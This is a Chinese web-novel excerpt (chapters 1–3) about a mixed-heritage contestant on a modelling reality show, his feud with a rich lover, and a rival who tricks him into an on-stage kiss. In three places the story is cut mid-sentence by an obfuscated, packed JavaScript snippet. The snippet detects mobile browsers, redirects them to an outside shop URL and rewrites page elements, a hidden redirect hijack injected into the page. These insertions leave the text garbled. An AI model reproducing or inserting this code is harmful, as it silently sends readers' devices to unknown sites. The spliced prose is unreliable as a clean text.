《下一站,超模》 1. 美高毕业舞会(1) 凌云在楼顶站了有二十分钟。 六月下旬,洛杉矶正式进入盛夏,要到十一月天气才会转凉。哪怕凌云是天生不怎么出汗的体质,这会儿也感觉到热了。 他抬手,下意识地想松松领带,手腕擦过胸花又堪堪停住。 差点破坏了造型。他想。 埃尔德雷奇结,由美国设计师杰弗里·埃尔德雷奇首创,适用于艺术展览或特殊活动的领带结。凌云曾以为自己熟练掌握了所有的领带系法,毕竟他之前就是干服务业的,曾帮一些客人系过领带。 然而事实却是,要是真的手快,松了领带,他自己绝对无法复原,造型师也不一定有耐心帮他第二次。 青年只好把手重新揣回兜里。 楼顶,工作人员正在布置T台,楼下已是衣香鬓影、觥筹交错的社交场合。美国时尚圈半数掌握话语权的大人物都出现在了今夜的洛杉矶。 洛杉矶,天使之城。 哦,我正是今夜的天使之一。他漫无边际地想。 盯了凌云半小时却什么也没拍到的摄像师干脆把设备从肩膀上卸下来,一边活动着手臂,一边走近说道: “嘿,凌云,卡罗琳已经到了。”他指了指胸前的迷你对讲机。显然,监制已经通过对讲机通知了所有工作人员,重要人物已经就位,“我想你该进去了。”他温和地提醒。 青年这才回过神来。 “谢谢你,约翰。”凌云笑着说道,“我是该进去了。” 半小时了,楼下的投资商先生从纪念塔走到门口,又从门口走到纪念塔,如此来来回来好几遭,手上的香槟杯换了两次,却一次也没有抬头看他。 好冷酷。 向投资商先生暗送秋波的计划失败,是时候回去准备了。 谢过约翰,凌云抬脚往圆顶走。那里在今天被作为后台使用。 走到一半,青年突然停住脚步,缓缓转身,面带纠结地看向跟在他身后的跟拍摄像师。 “约翰,我想请你帮我一个忙。”凌云迟疑着说道。 约翰条件反射地扛起摄像机。 “什么?我非常乐意!”他飞快地说道,语气甚至是激动的。 来了来了!终于等到了! 是要陷害其他选手?还是别的什么见不得人的事? 他就知道,选手偷溜出来不可能真的什么也不做! 《荣耀之台》第二十季,第一个争议性镜头就要被他,约翰,一个刚刚转正的年轻的摄像师拍到了吗? 约翰已经迫不及待地想听这名亚裔选手要让他干什么坏事了! 当然,他肯定不会真的帮选手干坏事,但不妨碍他拍下这象征着收视率的一幕。 只见亚裔青年露出一个腼腆却迷人的微笑——总之真的挺甜的——他一边折下佩戴在胸前的,名为果汁阳台的橙色多头玫瑰胸花的一朵,递给约翰,一边说道:“我希望,约翰,或许你能帮我把这朵玫瑰,送给楼下那位穿白色杰尼亚西装的男士吗?谢谢。” 青年害羞地眨了眨眼睛:“请你帮我转告他,他真的非常英俊。” 说完,凌云把折下来的橙色玫瑰花放在摄像师已经下意识地伸出来的手上,连说三遍thankyou,然后迅速回到后台。 留跟拍摄像师约翰一脸懵逼地站在原地。 什么?这一季的选手这么大胆吗?这就出柜了? 以及,他只不过是一个刚刚转正的年轻的跟拍摄像师,并不是时尚摄影师。 他不认识什么杰尼亚啊! · 凌云回到后台的时候,卡罗琳已经到了,正在慷慨激昂地说着一会儿的T台秀的规则。 选手们的情绪被她吊得很高,几乎一秒一个OMG。 卡罗琳·琼斯,上个世纪末杀出来的传奇超模,其职业生涯履历辉煌到无人可以复刻,碍于社会观念原因,早早地结婚生子。但这并没有葬送她的模特生涯——闪婚生子的第二年,卡罗琳带着比婚前略微丰腴了一点的身材杀回了T台,重新定义了性感可爱。 也是同一年,她与DSB电视台合作,推出了模特真人秀节目《荣耀之台》,并在其中担任导师。至此,卡罗琳成为了无数热爱时尚的男男女女的仙女教母。 凌云参加的是这档节目的第二十季,同时也是第一次男女选手混合——前十九季,从海选到总决赛,只有女选手及少数的跨性别女选手参加。 然而地狱的是,从第一季开播至今,整整十九年,《荣耀之台》没能培养出哪怕一个超模。 不过,这并不妨碍仙女教母卡罗琳,此时此刻站在一群有着超模梦想的俊男美女中间,尽情地散发魅力。 《荣耀之台》的电视节目阶段是从半决赛开始录制的,半决赛之前的都算海选,通过Youtube播放。半决赛三十二进十六的结果也在今天上午出来了。 凌云正是半决赛【美高毕业舞会】的最佳硬照获胜者之一。 节目组很有人情味,上午被淘汰的选手们被允许在晚上的T台秀露脸。T台秀是表演性质,不算成绩。 他们会得到一张由专业的时尚摄影师拍的硬照,作为真人秀节目一轮游的安慰。 这会儿,卡罗琳被三十多个选手围在中间,工作人员也簇拥在这位闪闪发亮的女士身边。 凌云迟到了,站在最后面,静静地听着。 大概所有人都对这位早上刚拿下最佳硬照的亚裔选手印象深刻,包括卡罗琳。她笑着对凌云说了句youarelate。 接着,摄像机扫到凌云。 而青年脸上至始至终保持的微笑表情,仿佛就是在等待镜头捕捉到他的这一刻—— 凌云,全名Lynn·Trendafilov,中国与保加利亚混血。四分之一的斯拉夫血统,赋予了他级高的面部折叠度,与一双上好的、无油祖母绿般的翠绿色眼睛。 昨天,录制“面试”的时候,卡罗琳夸他混得恰到好处。他的绿眼睛是那么的深邃迷人,浓密的睫毛像黑色的蕾丝,将传世珠宝半遮半掩。 可从他流畅的面部线条与细腻的皮肤,仍能看出,他是一个亚裔。 “是的,我是亚裔。”凌云耸了耸肩,“一滴血原则。” 卡罗琳与三位主持人听到他说一滴血原则,先是倒吸一口凉气,然后哈哈大笑。 显然,她们喜欢这个敢大胆地开玩笑的年轻人。 因此,哪怕凌云并不像其他选手一样,乖乖地待在后台,卡罗琳也没有责怪他。 四分之一混血的亚裔青年是这档真人秀节目的劲敌——这是所有选手的共识。 镜头从凌云回到卡罗琳身上。卡罗琳看了眼腕表,是时候了。 她拍着手,招呼所有人行动起来。 “Gogogo,我要看到你们行动起来。T台已经搭建好了,你们有二十分钟时间补妆。模特们,让我看到你们最光彩照人的模样。”卡罗琳爽朗地笑着,表情看起来期待极了。 后台也在她的催促声中,迅速热闹起来。 任何一个秀场都无法做到一个模特一个化妆师。真人秀节目更是。时间紧迫,仅有的几个化妆师被女选手们一窝蜂围住。 见此情景,几个男选手只能耸耸肩,一边说着不和女孩儿们抢的酸话,一边叫她们至少让出一个化妆师。 他们脸上也出油了,也需要用散粉盖盖。 卡罗琳走上来解围:“你们至少应该学会用散粉。” 大家都动起来,站在原地一动不动的凌云反而离她最近。卡罗琳随手拿起一盒散粉,打算从凌云开始,给这群没有一点化妆基础的男选手补妆。 她动作很是麻利,沾满粉末的粉扑却在离凌云的鼻尖只有一厘米的时候顿住。 “很好,我的孩子,你不用扑散粉,你是个干皮。”女人凑近,仔细地观察凌云的皮肤状态,确认他的确不需要散粉后,满意地拍了拍青年的肩膀。 “谢谢,你的皮肤质感也很好,像某种丝绸。”凌云嘴甜道。 嘴甜的效果立竿见影。 卡罗琳迅速拿过一旁的高光,给凌云上了一点。 而后又招呼其他男选手过来补妆。 卡罗琳语气夸张地说:“你们应该注意到,女孩儿们需要补妆的,都是必须由化妆师亲自操作的步骤。卫斯理,如果你要求她们分一个化妆师给你,那么你就不该在上午拍硬照的时候,用手捏着安吉丽娜的下巴。是你弄花了她的底妆!” 卫斯理只能尴尬地笑。卡罗琳让他别这么笑,看起来很傻。 “又或者,消防员先生,”她叫卫斯理的外号。卫斯理之前做过消防员,他就是洛杉矶人,拍摄过好几期消防员日历,在互联网上小有名气,“控制你的脸不要出油。” 嘴上这么说着,卡罗琳动作飞快地给所有男选手盖了层散粉。 人声嘈杂,几乎除了凌云外的每一个人都在忙碌。 就像一个真正的秀场。 凌云深吸一口气。他发誓,他爱死这种崭新的面料与化妆品、香水混合的味道了。 是气味因子浓郁到令人生理不适之前的,甜蜜的、时尚的味道。 好好享受今夜,超模。 青年看着镜子里侧脸,愉快道。 · 离T台秀开始还有十五分钟,第一个补完妆的女选手从卡罗琳手中接过散粉,替剩下的男选手们补妆。 卡罗琳先去现场了。作为真人秀节目的导师兼主持人,她的工作复杂且多。 凌云站在镜子前欣赏自己。 发型完美,妆容完美,身材——身材简直不能更完美了。 他仔细检查着装,确保这套穿了一整天的高级成衣上没有污渍,西裤的裤线笔直锋利。 一切完美,非常好——青年转身,还要换个角度再看,视线却正好对上角落里,不知什么时候也猫了回来的跟拍摄像师约翰。 凌云眼睛一亮! 但想到后台人多眼杂,他没有轻举妄动。 倒是约翰,同样看到他了,还朝他招了招手。 离T台秀开始还有十分钟。 这次,凌云不再犹豫,快步朝约翰走了过去。 反正,他都敢让节目组的工作人员帮他传话,传话的时候摄像机开着——他还有什么好避讳的? 做人嘛,就是要坦坦荡荡的。 凌云低声问约翰:“那位先生怎么说?” 约翰慢吞吞地从口袋里掏出已经蔫了的玫瑰花,还给他。转述道:“那位先生说,他不收穷人的花。” 凌云: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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然而路过其他宾客的时候,他听到他们说,艾梅洛德先生可真是一如既往的不近人情…… 艾梅洛德先生? 艾梅洛德!!! 这个姓氏在美国无人不知无人不晓。 约翰脸色一白,他走到角落,拿出了手机——工作人员允许携带手机——很容易就查到,美国传媒巨头、世界报业大亨艾梅洛德,其独子阿什·艾梅洛德,就长着和刚刚那位穿杰尼亚西装的男士一模一样的脸。 阿什·艾梅洛德正是《荣耀之台》第二十季的最大投资商。 震惊完,约翰仔细回忆凌云的表现,和年轻的艾梅洛德先生的回答,琢磨过来,两个人不像是不认识的样子。 因为艾梅洛德先生的回答很像是在……嗯,那个词怎么说的来着?傲娇? 对,就是傲娇。 他们应该早就认识,因为什么原因吵架了。 约翰认为他发现了真相。 真人秀节目当然需要爆点,可爆点涉及到传媒巨头的独子…… 怕惹上麻烦,约翰决定先来问问凌云,看他怎么说。 摄像机里素材要怎么处理,凌云应该比他更有分寸。 “……你和艾梅洛德先生是什么关系?你们是情侣吗?”约翰说,“如果不方便的话,就当我没有问过。” 什么关系?凌云的嘴角抽了抽。 要不是不想因为私事过于引人注目,凌云简直想冷笑一声——恶狠狠的那种。 他和阿什·艾梅洛德的关系,是大西洋上相遇,整夜,他陪着男人在甲板上吹着海风买醉的一见倾心。是纽约重逢,情不自禁的彼此靠近。是男人教给他上流社会的生存法则,还带他体验他梦寐以求的那种生活。 是性癖契合的情人。 尽管前不久,他们因为一些矛盾吵架,闹得不可开交,彼此放狠话说再也不见了——他们不是第一次这样了。 谁会真的当真? 至少凌云没有当真。 直到今天,两人在格里菲斯天文台碰面——哈,这地方好像是电影《爱乐之城》的取景地? 果然不吉利! 该死的阿什·艾梅洛德,凌云不信他余光没有看到自己站在楼顶。 瞧瞧!他拒绝了我求和的玫瑰花,还嘲讽我穷。 真是个英俊的混蛋。 凌云收拾好表情,笑眯眯地反问:“我们是什么关系?” “我们是那种因为基督教反对婚前性行为,所以还差最后一步的纯洁的关系。” “不过我觉得遵不遵守教义其实没差的,因为光同性恋这一点,就注定阿什·艾梅洛德会下地狱。” “唔……他最好马上下地狱。” 说完,他在约翰惊掉下巴的眼神中,毫不犹豫地转身,大踏步朝连接T台的通道走去。 很快又折回来,压低声音,珍而重之地告诫无辜的摄像师:“三点。” “第一,和他有关的素材最好删掉,因为他是个疯子,指不定什么时候就会发疯。” “第二,作为感谢和补偿,你接下来可以多拍我,因为我一定会成为超模。” “第三,这个是独家消息——是我甩的他!” 2. 美高毕业舞会(2) 放完狠话,凌云的心情并没有因此变得畅快。 T台秀在即,理智告诉他,要快点把注意力放回工作上。凌云于是飞快地越过还在做准备的其他选手,走向出入口。 正巧有工作人员经过,挡了他一下。 青年轻轻“啧”了一声,又在工作人员下意识朝他看过来的时候,扬起温和的笑。 真心的,他不该把对阿什的怒火牵连到别人身上。 “需要搭把手吗?”凌云问。 工作人员摇摇头,笑着说不用。然后两人步伐错开。 小插曲打断了凌云持续上升的烦躁情绪。 理智回归,凌云感到些许后悔,他刚刚不该把话说得那么难听的。 拒绝自己的主动求和,阿什·艾梅洛德固然可恶,可下地狱这种诅咒,对于一个基督教徒来说,未免过于严重。 最重要的是,和他是情人、是同性恋共犯的自己,不应该受此连累。 他应该上天…… “像天堂。” 夸张的赞美从身旁传来。 凌云微微一怔,侧身看向身旁。在他兀自沉浸在自己的世界里的时候,其他选手也准备完毕了,一窝蜂来到出入口候场。 “就是天堂。”有选手接道,“我早就想说了——这是我第一次来洛杉矶,第一次来格里菲斯天文台,和我在电影里看过的完全不一样。蓝天白云,白色的建筑,我确信这里就是天堂。” “节目组是怎么做到的?之前不是一直谈不下来吗?要我说,搞定这件事的人是真正的天才!” “上帝!我爱这里!我的心脏要跳出来了!” 凌云同样心情激动。 作为本季最大投资商的情人……前情人……唔,好像他们并没有正式分手? 那就还是情人。 作为本季最大投资商的情人,凌云比其他选手知道更多消息。 就比如,其实是他选择了格里菲斯天文台作为节目的拍摄场地。 格里菲斯天文台毗邻好莱坞,是世界著名的公共天文台之一,也是洛杉矶的标志性建筑。 当然,最出名的,还是作为电影《爱乐之城》中,男女主角的定情之地。 《荣耀之台》前几季筹备时,DSB电视台就想过租赁格里菲斯天文台用作拍摄场地,但这座华美的建筑至今承担着教育责任,以向中学生提供参观为由拒绝了。 卡罗琳不止一次的在访谈节目里提起这件事,还曾喊话天文台馆长,可惜一直没得到回应。 是今年,第二十季的投资商特别有钱,对情人特别宠溺——好吧,其实是两人上一次不欢而散的时候,男人问凌云要去哪里?凌云说,他决定提前飞洛杉矶,可能会在真人秀节目拍摄开始之前,钓个帅哥去格里菲斯天文台约会。 然后他刚落地,就收到《荣耀之台》节目组的通知邮件,半决赛的拍摄场地由杜比剧院改为了格里菲斯天文台。 神通广大的阿什·艾梅洛德先生,谁也不知道他究竟用了几成钞能力,不仅轻松帮《荣耀之台》节目组圆了梦,还震慑住了闹脾气的情人。 吵架是情趣,凌云享受阿什投注在他身上的目光。怒火中烧的、争锋相对的……本质上是在乎。 但是不能太过。 真把这位金字塔尖上的大少爷得罪狠了……凌云不想录制节目的时候被人问,你的屁股为什么又红又肿。 因此,往前数一周,凌云从纽约起飞的时候有多嚣张,落地收到节目组的邮件后就有多老实。 钓个帅哥去天文台约会什么的,原本就是气话。 凌云有一个被男人夸过很多次的优点,就是识时务。拍摄场地变成格里菲斯天文台,就是阿什在告诉他,你这次闹得有一点过了。 凌云知趣,也在半个小时前尝试过求和。 虽然被不知道发什么神经的男人拒绝了,搞得他自己也脾气上来了,对着跟拍摄像师乱七八糟胡说一通。 青年皱了皱鼻子,再一次提醒自己,把注意力放回工作上,暂时别想男人了。 让阿什·艾梅洛德那个混蛋滚一边去吧! 想到这里,青年再次轻轻皱了皱鼻子。 正是这一举动,让他在周围其他选手喋喋不休的惊叹声中,嗅到了一丝令他心驰神往的味道。 一种夹杂在脂粉与香氛中,细微,却让人无法忽视的刺鼻的腥味。 ——臭氧。 凌云前面偷溜出来的时候,工作人员正在布置T台,他那时注意力都在楼下的男人身上,想趁节目拍摄的间隙,和吵架冷战了一周的情人和好,没太关注T台。 这会儿,和其他选手一起,从层层堆叠的帷幕缝隙往外看,才惊觉,他们即将踏上的场地是多么的美轮美奂。 临时搭建的T台上装饰着大量粉白色的鲜花,仔细看,这鲜花并非在T台上,而是在T台的玻璃台面下。 可以想象,人走在上面,应当像八音盒一样梦幻。 香氛同样是T台布置的一环,气味能将台下观众更好地带入秀场氛围中。鲜花、香槟、糖果的味道漫过来,凌云的心跳却因为捕捉到空气中的臭氧成分和金属味而变快。 这种味道来源于干冰机,和大型灯光设备长时间运转产生的电离空气。 节目组下了血本。 当然,烧的是阿什·艾梅洛德的钱。凌云腹诽道。 青年的胸膛剧烈起伏。这一刻,他再想不起来和情人之间的不愉快。 他满心满眼只有眼前的T台。 马上,他们就要上场了。 “嘿,你好像很激动。” 出声的,是真人秀节目唯一的纯亚裔面孔,中国籍女选手胡彤。 胡彤是所有参赛选手中年龄最大的,她曾是亚洲小姐,台风非常大气。 她还是今天上午,与凌云搭档,一同拿下【美高毕业舞会】最佳硬照的另一位获胜者。 凌云正要回答。 还剩一点时间,刚好来得及邀请胡彤一会儿和他再搭档一次。 胳膊突然一重,凌云被人大力拽着往后拉。 “有什么事吗?安德烈。” 看清是谁后,凌云压低声音问道。 · 拽住凌云的男人只比他高一点点,红色头发,脸上有着明显的雀斑。毫无疑问,他是一个苏格兰人或者爱尔兰人。 安德烈是已经被淘汰的十六名选手之一,凌云记得他,单纯因为男人的发色哪怕在欧美国家也非常显眼。 而安德烈显然对凌云记得他的名字报以一种理所当然的自信。 他说:“喂,一会儿我们搭档怎么样?” “我们?”凌云蹙了蹙眉。 “对,我们。”安德烈飞快地说道,“我注意到你来晚了,所以你可能不知道,卡罗琳的规则是让被淘汰的选手邀请已经晋级的选手一起。男男组合符合节目组的期待,你会拿到高分,而我会得到完美硬照。” 他几乎是用命令的语气说道。 凌云再次皱眉。他讨厌有人用这样的语气和他说话。 “没别的意思。”安德烈见他表情不对,解释道,“只是觉得最后一张硬照,和你一起能拍出惊喜的效果。凌云,不得不说,你很厉害。” 这句话成功安抚了凌云。 工作人员已经在催促了,凌云并没有立刻给到安德烈答复,而是撂下一句稍等,接着挣开安德烈的手,重新回到中国籍女选手胡彤的身旁。 两人低声交谈。 安德烈的脸上是势在必得的微笑。 他没有骗凌云,淘汰的选手与晋级的选手组合,的确是卡罗琳定下的规则。 等凌云从那个叫胡彤的女选手那里确认这一点后,他自信,凌云不会在选人环节故意给他难堪。 亚裔、中国血统,总是体面婉约的,不是吗? 哦,只需要耐心一点,很快,他就能把凌云,也从这个节目带走了。 · “第二十季可不止你一个关系户。” 前夜——录制“面试”结束的晚上,安德烈与女友黛米在酒店的床上温存。 “哦,宝贝,你是在说你自己?”安德烈绕着女人的长发,反方向打卷,“这么说来,我们是绝配。” 搂着身为《荣耀之台》第二十季的三位评委之一,超模黛米,安德烈的语气里透露着一股轻蔑。 无它,只因为,安德烈其实是DSB电视台总裁的儿子。 安德烈接着说道:“所以你想说,你会帮助我夺冠,嗯?” 他用下巴蹭黛米裸露在外的肩膀,语气像是在逗弄一只宠物。 在他看不到的地方,女人的脸色有那么一瞬间,变得异常的难看。 不过很快,黛米就用她超模的表情管理,迅速掩饰过去。 她的脸上重新挂上微笑。 “亲爱的,我当然不会忘记,是你向你父亲推荐,我才能成为节目的评委。”所以你要用这么点小恩小惠绑架我多久?黛米强忍着心底的愤怒继续说道,“我多么想夺冠之夜,我们并肩站在T台上。我甚至想从现在开始庆祝……不,我不是这个意思。” 她把年轻男人作怪的手拿出来,调整了一下面部表情,严肃地说道:“我前面说的,不止你一个关系户——请原谅我为了我们的共同未来而忧虑。亲爱的,我想说,选手里,还有一个人,同样来头不小。” 意识到黛米的认真,安德烈这才收起了脸上玩世不恭的笑。 “谁?”他问。 黛米告诉他:“还记得早上面试的时候吗?有一个亚裔面孔,男性,黑色头发,绿色眼睛的那个。” “Lynn·Trendafilov.” 出乎意料的,安德烈准确念出了凌云的名字,包括他生涩难拼的希腊语姓氏。 “就是他。”黛米说,“他是阿什·艾梅洛德的情人。” “艾梅洛德?” “艾梅洛德。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很快,他那头黑色的卷发,被他用一次性染料喷成了耀眼的金色,这使得他四分之一混血的面孔看起来更加贴近西方的硬朗。 青年欣赏着镜中的自己,安德烈同样对他映照在镜子中的身影移不开视线。 “我得去为女士挑选一条足够古典的裙子。” 说完,凌云离开了化妆间。 两个小时后,卡罗琳召集所有选手集合,进行硬照拍摄。 安德烈这才知道,凌云为什么要把头发染成金色,以及为女士挑选的足够古典的裙子是什么——凌云为【美高毕业舞会】这一主题所准备的创意,是电影《哈利波特》中的意难平CP塞德里克和张秋。 他把头发染成金色,为胡彤从节目组提供的几架子上百件衣服中找出一条旗袍,为的就是复刻电影中,塞德里克与张秋在三强争霸赛的舞会上的级长开场舞。 太聪明、太讨巧了。 不仅完美契合了【美高毕业舞会】这一主题,巧妙的cosplay,更是击中了在场所有人的心弦。 至少在美国,没人没看过《哈利波特》。 没有意外,凌云与胡彤拿到了全场最高分,两人的合作是当之无愧的最佳硬照。 出意外的是安德烈。 近三个小时的准备时间里,他像一个鬼魂一样四处游荡,不知道在找些什么。 直到拍摄前的半小时,才和另一个落单的选手组成搭档,然后两人双双被淘汰了。 黛米其实给了安德烈他们相当宽容的分数,宽容到导师卡罗琳和其他两位评委,朝她投去疑惑的目光。 黛米解释说,她认为安德烈很有潜力,所以给了他一个鼓励分。然而这并不能挽救整个早上都神游天外,以至于发挥糟糕到令人不忍直视的安德烈,那注定要被淘汰的命运。 录制阶段性结束后,安德烈找到凌云,问他:“为什么不和我搭档?” 凌云:“什么?” “和我搭档的话,你完全不用染发……一次性染料非常伤头发。”他执拗道,“你有注意到我的红色头发吗?我们完全可以扮演哈利和罗恩。” 凌云愣了愣,才明白过来安德烈的意思。 他笑了笑,轻声说道:“下次吧。” 下次是什么时候? 现在应该是下次了吧。 思绪回到现在。 身材高大的红发男人站在阴影里,看着前面的选手在工作人员的指挥下,有序地从出入口走上T台。 凌云夹在他们中间,也走出了帷幕。 安德烈抬腿跟上去,坠在后面。 这次,他要把凌云带走。 两个关系户,只淘汰他一个,凌云这个给男人当情人的婊子未免也太幸运了吧? 3. 美高毕业舞会(3) 直达天堂。 一只脚踩上T台的亚克力地板时,凌云想。 大量专业器材提前几天被运到格里菲斯天文台,然后在今天下午,与数以万计的鲜花一起,组成了此刻凌云脚下,不亚于时装周级别的T台。 像是一个真正的秀场。 “上帝!我真的站在这里吗?” “难以置信!我爱这个节目!我爱这个T台!” “OMG我的心跳好快!佩姬,告诉我,我们已经是超模了对吗?” …… 选手们小声讨论着,凌云不置一词,安静地享受着这一刻的雀跃。 很快,选手们在工作人员的指引下,有序地来到台尾。场控让被淘汰的十六名选手站到台尾左侧的阶梯上,右侧,则是成功晋级的十六名选手。 导师卡罗琳与评委黛米、比安卡、珍妮芙四人一起,站在T台前方,微笑着、鼓励地看着选手们。 先前在楼下草坪上言笑晏晏的宾客们,此刻正坐在T台两侧的折叠椅上。 亮眼的聚光灯下,这些审视的、挑剔的目光,比摄影师的镜头还要可怕。 几乎所有人都适应了一会儿,才能不在追光灯晃过来的时候下意识地闭上眼睛。 这并非凌云平生所见最上流、最奢侈的场合。 却是他第一个真正意义上的T台——不是和阿什一起看秀、购物。而是作为一个模特,第一次站上的T台。 嗯……有一种好想、好想、好想在众目睽睽之下做点什么的冲动。 比如走几步、转几圈。 让所有目光汇聚到我身上。 有那么几秒,凌云怀疑自己可能有禽类的基因。 ——他想开屏了。 · 披着斗篷主持T台秀,是卡罗琳自己的主意。 中午,在保姆车里享用完冰岛黄瓜沙拉后,卡罗琳吩咐助理,等会儿下午,开车去几个与她常年保持合作的时装屋,借一件淡蓝色的斗篷。 “最好是丝绸材质。雪纺、竹纤维,或者天鹅绒的也可以。别太厚。”卡罗琳说道,“太厚我会热死在T台上。” 助理:“我会去做。不过卡罗琳,你为什么要穿斗篷?” 身为超模,尤其是维密出道,以健康、性感著称的超模,卡罗琳一向喜欢能彰显身材的衣服。 《荣耀之台》每一季的第一期,默认卡罗琳的镜头比选手们多,这是卡罗琳与节目组之间的默契。卡罗琳怎么会突发奇想,要在T台秀上穿斗篷? “是一个选手给我的启发。”卡罗琳笑眯眯地说道。 她将刚刚,凌云和胡彤是如何通过复刻《哈利波特》中的意难平CP,拿下最佳硬照的经过,说给了自己的助理听。 卡罗琳撩了撩长发:“他们会在T台秀的环节被打散,无法继续扮演塞德里克和张秋。而我以《灰姑娘》中仙女教母的形象出现,是不是很有创意?”她自问自答道,“梦幻照进现实,符合【美高毕业舞会】这一主题。哦,对了,顺便帮我做一根仙女棒。” 基于以上—— 此时此刻,身披蓝色斗篷,手握一根仙女棒,犹如仙女教母降临的卡罗琳,从工作人员手中接过麦克风。 作为导师,卡罗琳不参与打分,她更多是以前辈、引导者的身份,与选手们互动,传授他们模特行业的经验。她一开口,选手们立刻停止了窃窃私语。 卡罗琳大声说道:“亲爱的,难以置信你们居然走到了这里!当你们穿着华服从后台走出来的时候,我发誓我真的为你们落泪了!”女人扬起招牌笑容,用更大的音量宣布走秀正式开始,“现在,请依次选择你们的心仪对象,然后走到天桥*前面。摄影师将为你们拍下今晚的最佳硬照,而这也将意味着你们中的一些人的超模生涯正式开始!” 超模一词,让现场所有选手欢呼。 · 卡罗琳话音刚落,就有人行动起来。 凌云听见对面一个男选手大声说道:“哦,我现在一点儿也不遗憾我被淘汰的事了。要我说,搞不好我们这些被淘汰的人里,会出一个真正的超模,比如我。” 他声音很大,听到的人纷纷发出善意的哄笑。 熟悉《荣耀之台》的人都知道,这档节目开播至今,整整十九年,从未出过哪怕一个超模的地狱笑话。 公然cue地狱笑话的梗,卡罗琳并没有黑脸,而是笑眯眯地点他的名字。 于是这位成功活跃了现场气氛的男选手,成为了第一个挑选搭档的人。 他走到中间,对着右侧阶梯上的选手们打量了几番,很快选中双胞胎姐妹中的妹妹佩姬。这个漂亮的白人姑娘踩着猫步上前,将手交给他。 T台秀的第一组搭档就此组成。 凌云专注地看着他们的背影。 双胞胎姐妹凯莉和佩姬之前在中国做过电商模特,今年才和模特经纪公司解约,回美国参加真人秀节目。 ——这消息还是胡彤告诉凌云的。 有平面模特方面的工作经验,尽管佩姬的台步不怎么样,但舞台表现力十足。她对镜头很敏感,几乎刻进了肌肉记忆里。 最明显的就是,凌云尝试把自己的眼睛当成快门,然后他每眨一次眼睛,那一秒,视线里,佩姬的姿势、她的动态无可挑剔。 完全碾压她的搭档。 凌云一门心思学习。 可等他们走到台头的时候,变故突生——男选手竟然捧起佩姬的脸,给了她一个热吻! 一个唇瓣厮磨!热辣无比的吻! 全场沸腾。 凌云先是一愣,注意到周围,其他选手并没有表示出惊讶,于是学着他们也吹了个口哨,心想,确实挺抢眼球的,并且勉强算得上是浪漫。 谁会拒绝在美高毕业舞会上,和心仪对象来一个激情四射的吻呢? 于是接下来,第二组选手也效仿他们,在台头接吻。 红发雀斑的安德烈第三个被卡罗琳叫到名字。 之前在出入口,安德烈拽住凌云,表达了想和他搭档的意愿。凌云也从胡彤那里确认过,安德烈口中的规则是真的。 凌云不是一个会故意下别人面子的人。 因此,在安德烈装作挑选了一番,接着径直走到他面前绅士行礼的时候,凌云只是泰然自若地把手放进对方的掌心,接受邀请。 又退开,与安德烈保持一定距离,专注走自己的台步。 西装与西装并肩同行。 男男组合的噱头已经够了,凌云明白,台步和硬照才是一个模特个人实力的体现。 担心安德烈也要模仿面前两组,他低声对安德烈说道:“我们正常走就好,没必要接吻。” “好啊,都听你的。”安德烈应下。 碍于场地原因,T台是中型T台,不算很长,两人很快就走到台头。 凌云正常定点、摆造型,眼睛专注看着镜头,完全沉浸在了专业时尚相机的闪光灯里。 也就是这时,一旁的安德烈突然搂过他的腰,倾身吻上来。 还算英俊的脸迅速凑近,凌云只愣了一秒,就立刻反应过来。他下意识地想拉开两人之间的距离,然而情急之下没有控制好力道,竟一把把人推倒到了地上。 众目睽睽之下,安德烈完全摔在地上。 现场安静了几秒。 几秒后,全场哗然。 观众席上,原本在安静看秀的宾客们发出不可置信的惊呼声,他们大概万万没想到,《荣耀之台》一季比一季还要浮夸。 以往,撕逼扯屌的环节不都是至少第二期才端上来吗? 男女选手混合还不够吸睛吗? 怎么这才第一期,就出现男男CP强制爱并且当场翻脸动手的剧情了! 是真人秀节目的剧本吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103002|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人声嘈杂中,有一个穿着白色西装的身影站起来,定定看了话题中心的两人几秒,然后大踏步离开。 现场气氛实在是太热闹了,白色西装男人的离开,并没有引起太多人的注意。 零星几个人瞥见,也被他难看的脸色吓到,没敢出声询问,更不敢阻拦。 台头,摄影师手上的专业时尚相机闪个不停,与追光灯一起,刺激得青年的眼睛酸涩不止。 但凌云只是一眨不眨地看着保持着摔倒的姿势的安德烈,没有错过对方眼睛里的一丝得意。 安德烈是故意的。几乎不用思考,凌云就得出了这个结论。 搞什么?这才第一期,上来就玩这么脏? ——凌云和宾客们一样,又茫然又无语。 他还在反应这件事,直勾勾地和安德烈对视。 而始作俑者安德烈,似乎对他僵直的反应很是满意。 你完了。安德烈用唇语说道。 突然举起麦克风开口的卡罗琳,解答了凌云的疑惑。 也令他终于回过神来—— “看来,部分选手对我制定的T台秀的规则相当不满。”卡罗琳的声音里透露着冰冷。 这句话如醍醐灌顶。 一瞬间,其他选手对于前面两组激吻时的态度在他脑海中闪回。 原来定点接吻本就是规则的一部分! 凌云迟到,没听见规则,安德烈故意只说了一半,所以凌云向胡彤求证的时候,得到了肯定的答复。 安德烈给他挖的坑,在他没告诉凌云的另一半里! 无暇吐槽节目组没节操,搞这种规则来博眼球了。 凌云在脑海中飞快思考着该如何挽回……该死!他好像成了真人秀节目的话题中心了。还是坏的那种。 这绝对不是好事。至少对凌云来说不是好事。 